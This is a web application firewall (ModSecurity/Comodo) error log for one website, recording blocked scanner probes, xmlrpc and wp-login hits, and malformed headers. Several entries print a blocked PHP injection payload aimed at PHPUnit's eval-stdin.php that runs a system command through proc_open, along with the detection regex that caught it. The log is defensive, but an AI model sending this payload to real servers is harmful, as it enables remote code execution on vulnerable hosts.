[Fri Mar 27 10:15:39.700526 2026] [:error] [pid 27743:tid 27776] [client 149.22.83.21:49268] [client 149.22.83.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acXoSyA46UYYLqzw99AkyAAAAAw"]
[Fri Mar 27 10:15:42.588786 2026] [:error] [pid 4341:tid 4364] [client 149.22.83.21:36266] [client 149.22.83.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acXoTuKJWrNB5dMlERFxrAAAAZU"]
[Fri Mar 27 10:15:45.503925 2026] [:error] [pid 4341:tid 4358] [client 149.22.83.21:36274] [client 149.22.83.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acXoUeKJWrNB5dMlERFxsAAAAY8"]
[Fri Mar 27 10:15:48.303359 2026] [:error] [pid 27851:tid 27859] [client 149.22.83.21:34150] [client 149.22.83.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acXoVHR2ccxe3RMCLbpYDAAAAME"]
[Fri Mar 27 10:15:51.243007 2026] [:error] [pid 4341:tid 4345] [client 149.22.83.21:34160] [client 149.22.83.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acXoV-KJWrNB5dMlERFxtQAAAYI"]
[Fri Mar 27 10:15:54.217871 2026] [:error] [pid 63897:tid 63911] [client 149.22.83.21:34172] [client 149.22.83.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acXoWmVSkmYmLu7ycYiEUQAAAQw"]
[Fri Mar 27 10:15:57.141335 2026] [:error] [pid 27749:tid 27810] [client 149.22.83.21:40780] [client 149.22.83.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acXoXcEqyoMni2Q6_X6NfwAAAFM"]
[Fri Mar 27 10:16:34.620966 2026] [:error] [pid 63897:tid 63917] [client 67.174.211.123:50544] [client 67.174.211.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.174.211.123, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acXogmVSkmYmLu7ycYiFLwAAARI"]
[Fri Mar 27 10:24:49.101060 2026] [:error] [pid 27743:tid 27779] [client 36.41.75.167:59238] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acXqcSA46UYYLqzw99AoKAAAAA8"]
[Fri Mar 27 11:43:38.071571 2026] [:error] [pid 27749:tid 27812] [client 103.36.11.25:58402] [client 103.36.11.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.36.11.25, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acX86sEqyoMni2Q6_X6d6gAAAFU"]
[Fri Mar 27 12:04:12.329993 2026] [:error] [pid 27749:tid 27797] [client 132.196.91.16:21585] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Content/Type/index.php"] [unique_id "acYBvMEqyoMni2Q6_X6hmwAAAEY"]
[Fri Mar 27 12:04:13.087652 2026] [:error] [pid 4341:tid 4351] [client 132.196.91.16:21584] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Content/Type/index.php"] [unique_id "acYBveKJWrNB5dMlERGuRwAAAYg"]
[Fri Mar 27 12:04:13.863195 2026] [:error] [pid 27851:tid 27862] [client 132.196.91.16:21626] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Content/Type/index.php"] [unique_id "acYBvXR2ccxe3RMCLbp2JgAAAMQ"]
[Fri Mar 27 12:04:14.614911 2026] [:error] [pid 4293:tid 4297] [client 132.196.91.16:21573] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Content/Type/index.php"] [unique_id "acYBvpLjeJUC3OKtEx9RrwAAAUI"]
[Fri Mar 27 14:56:13.823723 2026] [:error] [pid 4293:tid 4295] [client 104.248.144.168:50300] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "acYqDZLjeJUC3OKtEx-4LwAAAUA"]
[Fri Mar 27 14:56:14.012830 2026] [:error] [pid 27749:tid 27799] [client 104.248.144.168:50305] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "acYqDsEqyoMni2Q6_X6_YAAAAEg"]
[Fri Mar 27 14:56:14.193395 2026] [:error] [pid 27743:tid 27785] [client 104.248.144.168:50317] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "acYqDiA46UYYLqzw99BNtwAAABU"]
[Fri Mar 27 14:56:14.592533 2026] [:error] [pid 27851:tid 27863] [client 104.248.144.168:50325] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "acYqDnR2ccxe3RMCLbqj3wAAAMU"]
[Fri Mar 27 14:56:14.985251 2026] [:error] [pid 27750:tid 27839] [client 104.248.144.168:50340] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "acYqDoaSil5rd17ieLywSQAAAJU"]
[Fri Mar 27 14:56:15.392961 2026] [:error] [pid 63897:tid 63919] [client 104.248.144.168:50352] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "acYqD2VSkmYmLu7ycYjufgAAARQ"]
[Fri Mar 27 15:04:08.911619 2026] [:error] [pid 63897:tid 63915] [client 43.153.71.132:44640] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acYr6GVSkmYmLu7ycYjx5AAAARA"]
[Fri Mar 27 16:16:36.820359 2026] [:error] [pid 4341:tid 4366] [client 114.10.42.30:11222] [client 114.10.42.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.10.42.30, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acY85OKJWrNB5dMlERFIsAAAAZc"]
[Fri Mar 27 16:39:35.403463 2026] [:error] [pid 27743:tid 27774] [client 31.171.130.142:31751] [client 31.171.130.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.142, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "acZCRyA46UYYLqzw99B6NgAAAAo"]
[Fri Mar 27 17:27:41.345156 2026] [:error] [pid 27743:tid 27781] [client 43.138.68.113:42884] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acZNjSA46UYYLqzw99CSlwAAABE"]
[Fri Mar 27 20:52:03.984177 2026] [:error] [pid 27743:tid 27785] [client 138.97.135.20:15665] [client 138.97.135.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.97.135.20, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acZ9cyA46UYYLqzw99D1OQAAABU"]
[Fri Mar 27 21:33:31.883726 2026] [:error] [pid 27749:tid 27800] [client 43.157.20.63:43488] [client 43.157.20.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acaHK8EqyoMni2Q6_X790QAAAEk"]
[Sat Mar 28 01:05:30.288750 2026] [:error] [pid 11323:tid 11697] [client 49.233.45.47:48402] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aca42hruG7-TT-rIgF_fkAAAABE"]
[Sat Mar 28 01:37:58.294615 2026] [:error] [pid 11768:tid 11772] [client 103.178.208.43:65439] [client 103.178.208.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.178.208.43, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acbAdsLK0swIwlw7rFa83QAAAQA"]
[Sat Mar 28 03:25:41.119517 2026] [:error] [pid 31054:tid 31081] [client 54.37.252.130:35964] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acbZtZwv8eb6fRZGI77wFQAAAFg"]
[Sat Mar 28 03:25:43.528028 2026] [:error] [pid 11325:tid 11758] [client 54.37.252.130:42630] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acbZt49aMci1IHcmG6IWagAAANE"]
[Sat Mar 28 03:25:45.835824 2026] [:error] [pid 11325:tid 11756] [client 54.37.252.130:42642] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acbZuY9aMci1IHcmG6IWcQAAAM8"]
[Sat Mar 28 03:25:48.325553 2026] [:error] [pid 11768:tid 11782] [client 54.37.252.130:52838] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acbZvMLK0swIwlw7rFbnCwAAAQo"]
[Sat Mar 28 03:25:50.927358 2026] [:error] [pid 11324:tid 11734] [client 54.37.252.130:52842] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acbZvjIhTRer7nZpUKj6GgAAAJQ"]
[Sat Mar 28 03:25:53.544186 2026] [:error] [pid 51701:tid 51717] [client 54.37.252.130:52844] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acbZwRcCy4vzov4lZDYtVgAAAY4"]
[Sat Mar 28 03:25:56.069472 2026] [:error] [pid 11325:tid 11749] [client 54.37.252.130:52860] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "acbZxI9aMci1IHcmG6IWkQAAAMg"]
[Sat Mar 28 03:25:58.682809 2026] [:error] [pid 11323:tid 11681] [client 54.37.252.130:48764] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acbZxhruG7-TT-rIgF8PdAAAAAE"]
[Sat Mar 28 03:26:01.041711 2026] [:error] [pid 11323:tid 11685] [client 54.37.252.130:48774] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acbZyRruG7-TT-rIgF8PeQAAAAU"]
[Sat Mar 28 03:26:03.488763 2026] [:error] [pid 11325:tid 11761] [client 54.37.252.130:48790] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acbZy49aMci1IHcmG6IWswAAANQ"]
[Sat Mar 28 03:26:06.058552 2026] [:error] [pid 11768:tid 11796] [client 54.37.252.130:48792] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acbZzsLK0swIwlw7rFbnLwAAARg"]
[Sat Mar 28 03:26:08.615742 2026] [:error] [pid 51655:tid 51675] [client 54.37.252.130:39332] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acbZ0H4PB5Q8y9C2Z9XbcgAAAVI"]
[Sat Mar 28 03:26:10.983220 2026] [:error] [pid 51655:tid 51674] [client 54.37.252.130:39346] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acbZ0n4PB5Q8y9C2Z9XbfgAAAVE"]
[Sat Mar 28 03:26:13.380587 2026] [:error] [pid 51701:tid 51709] [client 54.37.252.130:39348] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acbZ1RcCy4vzov4lZDYtoQAAAYY"]
[Sat Mar 28 03:26:15.891564 2026] [:error] [pid 11324:tid 11733] [client 54.37.252.130:39350] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "acbZ1zIhTRer7nZpUKj6NQAAAJM"]
[Sat Mar 28 03:26:18.434886 2026] [:error] [pid 11325:tid 11761] [client 54.37.252.130:48838] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acbZ2o9aMci1IHcmG6IWxAAAANQ"]
[Sat Mar 28 03:26:20.816505 2026] [:error] [pid 31054:tid 31080] [client 54.37.252.130:48840] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acbZ3Jwv8eb6fRZGI77wNAAAAFc"]
